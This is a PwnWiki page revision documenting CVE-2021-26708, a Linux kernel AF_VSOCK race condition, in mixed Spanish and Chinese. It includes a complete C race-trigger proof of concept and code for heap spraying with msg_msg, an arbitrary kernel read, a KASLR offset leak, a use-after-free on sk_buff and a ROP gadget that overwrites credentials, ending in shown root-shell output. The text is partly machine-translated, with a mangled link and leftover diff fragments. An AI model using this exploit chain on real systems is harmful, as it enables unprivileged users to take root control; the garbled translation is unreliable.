Difference between revisions of "CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/es"

From PwnWiki
(Created page with "El fuzzer syzkaller no tiene forma de reproducir este bloqueo, así que decidí estudiarlo yo mismo. Pero, ¿por qué falla el fuzzer? Observe <code> vsock_update_buffer_size...")
(Created page with "En el primer paso, comencé a estudiar la pulverización de pila estable, que explotaba la ejecución de las actividades del espacio del usuario para hacer que el kernel asign...")
Line 270: Line 270:
 
== Fuga de información del kernel ==
 
== Fuga de información del kernel ==
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
Aquí se utiliza [https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D % 87% E6% BC% 8F% E6% B4% 9E CVE-2019-18683] la misma técnica. El segundo connect () del socket virtual llama a <code> vsock_deassign_transport () </code> y establece <code> vsk-> transport </code> en NULL, haciendo que <code> vsock_stream_setsockopt () </code> Calling <code > virtio_transport_send_pkt_info () </code> después de la caída de la memoria, aparece una advertencia del kernel:
這裡使用了[https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683]相同的技巧。虛擬套接字的第二個connect()調用<code>vsock_deassign_transport()</code>,將<code>vsk->transport</code>設置為NULL,使得<code>vsock_stream_setsockopt()</code>在內存崩潰後調用<code>virtio_transport_send_pkt_info()</code>,出現內核告警:
 
</div>
 
 
<pre>
 
<pre>
 
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
 
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
Line 295: Line 293:
 
...
 
...
 
</pre>
 
</pre>
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
A través de la depuración de gdb, se encuentra que el registro RCX contiene la dirección del kernel del virtio_vsock_sock liberado, y el registro RBX contiene la dirección del kernel de vsock_sock.
通過gdb調試,發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址,RBX寄存器包含了vsock_sock的內核地址。
 
</div>
 
  
 
<div lang="chinese" dir="ltr" class="mw-content-ltr">
 
<div lang="chinese" dir="ltr" class="mw-content-ltr">

Revision as of 13:47, 5 May 2021

Other languages:
Chinese • ‎English • ‎español • ‎português • ‎svenska • ‎русский • ‎українська • ‎עברית • ‎العربية • ‎中文(繁體)‎ • ‎日本語

Vulnerabilidad

Estas vulnerabilidades son causadas por la contención condicional provocada por un falso bloqueo en net/vmw_vsock/af_vsock.c. Estas contenciones de condiciones se introdujeron implícitamente en el commit de noviembre de 2019 que añadió el soporte de multitransferencia VSOCK y se fusionaron en la versión 5.5-rc1 del kernel de Linux.

CONFIG_VSOCKETS y CONFIG_VIRTIO_VSOCKETS se proporcionan como módulos del núcleo en todas las principales distribuciones de GNU/Linux. Estos módulos vulnerables se cargan automáticamente cuando se crea un socket para el dominio AF_VSOCK.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

La creación de sockets AF_VSOCK está disponible para los usuarios sin privilegios y no requiere espacio de nombre de usuario.


Corrupción de la memoria

A continuación se detalla la explotación de la CVE-2021-26708, que hace uso de la competencia condicional en vsock_stream_etssockopt(), la recuperación requiere dos hilos, el primero de los cuales llama a setsockopt().

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));


El segundo hilo cambia el transporte del socket virtual cuando <código>vsock_stream_etssockopt()</código> intenta obtener un bloqueo de socket, lo que se consigue reconectando el socket virtual a.

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));


Para manejar connect() para sockets virtuales, el kernel ejecuta vsock_stream_connect() que llama a vsock_assign_transport(). Esta función contiene el siguiente código.

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

<código>vsock_stream_connect()</código> contiene el bloqueo del socket, y <código>vsock_stream_setsockopt()</código> en el hilo paralelo también intenta obtenerlo, constituyendo una competencia condicional. Como resultado, la función vsock_deassign_transport() es llamada cuando se realiza una segunda connect() con un svm_cid diferente. La función ejecuta virtio_transport_destruct(), liberando vsock_sock.trans, y vsk->transport se establece en NULL. cuando vsock_ stream_connect() libera el bloqueo del socket, vsock_stream_setsockopt() puede seguir ejecutándose. Llama a vsock_update_buffer_size(), seguido de transport->notify_buffer_size(). Aquí el transporte contiene un valor obsoleto de una variable local que no coincide con vsk->transport (la causa se establece en NULL).

El núcleo ejecuta <código>virtio_transport_notify_buffer_size()</código> con corrupción de memoria.

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Aquí, el vvs es un puntero a la memoria del núcleo, que ha sido liberado en virtio_transport_destruct(). La estructura virtio_vsock_sock tiene un tamaño de 64 bytes y se encuentra en la caché de bloques kmalloc-64. El tipo de campo buf_alloc es u32, ubicado en el offset 40. VIRTIO_VSOCK_MAX_BUF_SIZE es 0xFFFFFFUL. El valor de *val es controlado por el atacante, y sus cuatro bytes menos significativos se escriben en la memoria liberada.


Prueba difusa

El fuzzer syzkaller no tiene forma de reproducir este bloqueo, así que decidí estudiarlo yo mismo. Pero, ¿por qué falla el fuzzer? Observe vsock_update_buffer_size () y descubra:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Solo cuando val sea diferente del actual buffer_size, se llamará a notify_buffer_size () , es decir, cuando setsockopt () ejecute SO_VM_SOCKETS_BUFFER_SIZE , cada vez Los parámetros de tamaño de la llamada deben ser todos diferentes. Entonces construí el código relevante:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <[email protected]>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

El valor de tamaño aquí se toma del número de nanosegundos devueltos por clock_gettime () , que puede ser diferente cada vez. El syzkaller original no hace esto, porque cuando syzkaller genera una entrada fuzzing, el valor del parámetro syscall está determinado y no cambiará durante la ejecución.

El poder de cuatro bytes

Aquí elijo Fedora 33 Server como el objetivo de la investigación, la versión del kernel es 5.10.11-200.fc33.x86_64, y estoy decidido a omitir SMEP y SMAP.

En el primer paso, comencé a estudiar la pulverización de pila estable, que explotaba la ejecución de las actividades del espacio del usuario para hacer que el kernel asignara otro objeto de 64 bytes en la ubicación del virtio_vsock_sock liberado. Después de varios intentos experimentales, se confirmó que el virtio_vsock_sock publicado se sobrescribió, lo que indica que la fumigación en pilas es factible. Finalmente encontré msgsnd () syscall. Crea struct msg_msg en el espacio del kernel, vea la salida de pahole:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

El anverso es el encabezado del mensaje y el reverso son los datos del mensaje. Si la estructura msgbuf en el espacio de usuario tiene un mtext de 16 bytes, se creará el correspondiente msg_msg en la caché del bloque kmalloc-64. Una escritura libre de 4 bytes destruirá el puntero de seguridad void * en el desplazamiento 40. El campo msg_msg.security apunta a los datos del kernel asignados por lsm_msg_msg_alloc (). Cuando se reciba msg_msg, será liberado por security_msg_msg_free (). Por lo tanto, al destruir la primera mitad del puntero de seguridad, se puede obtener una libertad arbitraria.

Fuga de información del kernel

Aquí se utiliza % 87% E6% BC% 8F% E6% B4% 9E CVE-2019-18683 la misma técnica. El segundo connect () del socket virtual llama a vsock_deassign_transport () y establece vsk-> transport en NULL, haciendo que vsock_stream_setsockopt () Calling virtio_transport_send_pkt_info () después de la caída de la memoria, aparece una advertencia del kernel:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

A través de la depuración de gdb, se encuentra que el registro RCX contiene la dirección del kernel del virtio_vsock_sock liberado, y el registro RBX contiene la dirección del kernel de vsock_sock.

實現任意讀

從 arbitrary free 到 use-after-free

從洩露的內核地址釋放一個對象 執行堆噴,用受控數據覆蓋該對象 使用損壞的對象進行權限升級 內核實現的System V消息有限制最大值DATALEN_MSG,即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息,剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段,size_t m_ts用於存儲大小。當進行覆蓋操作時,就可以把受控的值放在msg_msg.m_ts和msg_msg.next中:

T01a51dfe7a996e854c.png


Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

但是如何使用msg_msg讀取內核數據呢?通過閱讀msgrcv()系統調用文檔,我找到了好解決方案,使用msgrcv()和MSG標誌:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

這個標誌使內核將消息數據複製到用戶空間,不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y,則MSG是可用的,在Fedora Server適用。

任意讀的步驟

準備工作: 使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量(該漏洞至少需要兩個); 打開/dev/kmsg進行解析; mmap()將spray_data內存區域配置userfaultfd()作為最後一部分; 啟動一個單獨的pthread來處理userfaultfd()事件; 啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射,並將它們掛在thread_barrier上; 獲取原始msg_msg的內核地址: 在虛擬套接字上進行條件競爭; 在第二個connect()後,在忙循環中等待35微秒; 調用msgsnd()來建立一個單獨的消息隊列;在內存破壞後,msg_msg對像被放置在virtio_vsock_sock位置; 解析內核日誌,從內核警告(RCX寄存器)中保存msg_msg的內核地址; 同時,從RBX寄存器中保存vsock_sock的內核地址; 使用損壞的 msg_msg對原始msg_msg執行任意釋放: 使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE,用於實現內存破壞; 在虛擬套接字上進行條件競爭; 在第二個connect()之後馬上調用msgsnd();msg_msg被放置在virtio_vsock_sock的位置,實現破壞; 現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2);

T01a2a2d47c9494c4a5.png

如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞,進而SELinux權限檢查失敗; 在這種情況下,msgsnd()返回-1,損壞的msg_msg被銷毀;釋放msg_msg.security可以釋放原始msg_msg; 用一個可控的payload 覆蓋原始msg_msg: msgsnd()失敗後,漏洞就會調用pthread_barrier_wait(),調用127個用於堆噴射的pthreads; 這些pthreads執行setxattr()的payload; 原始msg_msg被可控的數據覆蓋,msg_msg.next指針存儲vsock_sock對象的地址;

T0140baae964febb059.png

通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息,將vsock_sock內核對象的內容讀到用戶空間:

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

尋找攻擊目標

以下是我找到的點: 1.專用的塊緩存,如PINGv6和sock_inode_cache有很多指向對象的指針 2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。 3.const struct cred *owner指針在vsock_sock.sk偏移量840處,存儲了可以覆蓋進行權限升級的憑證的地址。 4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處,被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。

下面是該漏洞如何從內存中提取這些指針:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

在 sk_buff 上實現 Use-after-free

Linux內核中與網絡相關的緩衝區用struct sk_buff表示,這個對像中有skb_shared_info與destructor_arg,可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此,在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中,mem_cgroup對像也是如此。

我構建了以下步驟:

1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字

2.在用戶空間中準備一個2800字節的緩衝區,並用0x42對其memset()

3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字,用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()

4.對vsock_sock執行任意讀取過程

5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)

6.對這個可能的sk_buff地址執行任意讀

7.如果在網絡數據的位置找到0x42424242424242lu,則找到真正的sk_buff,進入步驟8。否則,在可能的sk_buff地址上加4096,轉到步驟6

8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射,並把它們掛在pthread_barrier上

9.對sk_buff內核地址進行任意釋放

10.調用pthread_barrier_wait(),執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads

11.使用recv()接收服務器套接字的網絡消息。

通過skb_shared_info 進行任意寫

以下是覆蓋sk_buff對象的有效payload:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info駐留在噴射數據中,正好在偏移量SKB_SHINFO_OFFSET處,即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的,所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局:

T0185ccbf9f025c74da.png

下面講講destructor_arg 回調:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget,所以我自己進行了研究構造。

callback函數指針存儲一個ROP gadget 地址,RDI存儲callback函數的第一個參數,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要:當gadget從 RSI向 RDX指向的內存中寫入消息1時,有效的 uid和 gid將被零覆蓋。重複同樣的過程,直到權限升級到root。整個過程輸出流如下:

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

視頻


參考

https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html